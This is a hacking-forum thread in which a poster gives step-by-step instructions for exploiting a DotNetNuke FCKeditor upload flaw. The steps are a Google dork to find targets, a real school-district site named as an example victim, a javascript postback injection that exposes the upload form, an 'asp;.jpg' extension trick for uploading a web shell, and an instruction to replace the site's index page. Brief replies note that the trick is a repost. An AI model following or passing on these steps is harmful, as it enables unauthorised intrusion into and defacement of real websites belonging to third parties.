[xSystemNightmare]

Sup Hackforums,
Today Im gonna show you how to perform a Dot Net Nuke Attack. This is a rare exploit,You can upload any file of your likeing using this exp!0it.

What Exactly Is DNN? DotNetNuke is an open sourced platform used for websites that are based on Microsoft.Net tech. The Dot Net Nuke is mostly in the CMS for the website(s).

Try to upload certain types of files here are a list of files Commonly used

Code

asf, *.asx, *.avi, *.flv, *.m4v, *.mov, *.mp4, *.mpe, *.mpeg, *.mpg,
*.ram, *.rm, *.rmvb, *.wm, *.wmv, *.vob
*. swf, *.jpg, *.jpeg, *.jpe, *.gif, *.bmp, *.png,
*.doc, *.xls, *.ppt, *.pdf, *.txt, *.xml, *.xsl, *.css, *.zip, *.3gp,

Usually sites that have this expl0it are very hard to find it is a non-common exploit so here is a google dork most people often use now adays.

Code

inurl:home/tabid/36/language/en-US/Default.aspx

Alright So after you have found a VULN site such as

Code

http://www.central.k12.or.ushome/tabid/36/language/en-US/Default.aspx

Replace

Code

home/tabid/36/language/en-US/Default.aspx

With the following...

Code

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Then hit enter on your keybord. After you will see a display of

Code

Link Type:
URL ( A Link To An External Resource )
Page ( A Page On Your Site )
File ( A File On Your Site )

Proceed by clicking the following File ( A File On Your Site )
Once you see

Code

File Location:

         File Name:

Inj3ct the following code in your URL box and click enter

Code

javascript:__doPostBack('ctlURL$cmdUpload','')

After clicking enter you shall get the displayment option of uploading your own file please procceed to uploading a shell.

Now before you can fully upload the shell you have to do the following...

1. Rename the shell myshell.asp;.jpg

2. Go to your shell

Code

http://Hackedsite.com/portals/0/yourshell.asp;.jpg

3. Now Upload your PHP Sh3LL using the following option "UPLOAD FILE TC"

4.Now your shell is all up in there!

Code

http://Hackedsite.com/portals/0/yourshell.php

5.Now finnaly replace your index.html with the original site index.html.
Now your done great job friend. This is a rare exploit you dont commonly see it now adays but i just wanted to post this because this was one of my very first exploits ever performed :D

[ImSecure]

Allready posted on HF.NET 5+ times :) . But anyway "Thanks for posting this :)" .

FIRST POST IN THIS THREAD BTW :D

[James Kirk]

Allready posted on HF.NET 5+ times :) . But anyway "Thanks for posting this :)" .

FIRST POST IN THIS THREAD BTW :D

First post on this thread? You must be awesome. And nice exploit op, but I've seen this before.

[xSystemNightmare]

Thanks for the positive feedback Im just aiming at exploits that people are often forgetting about :D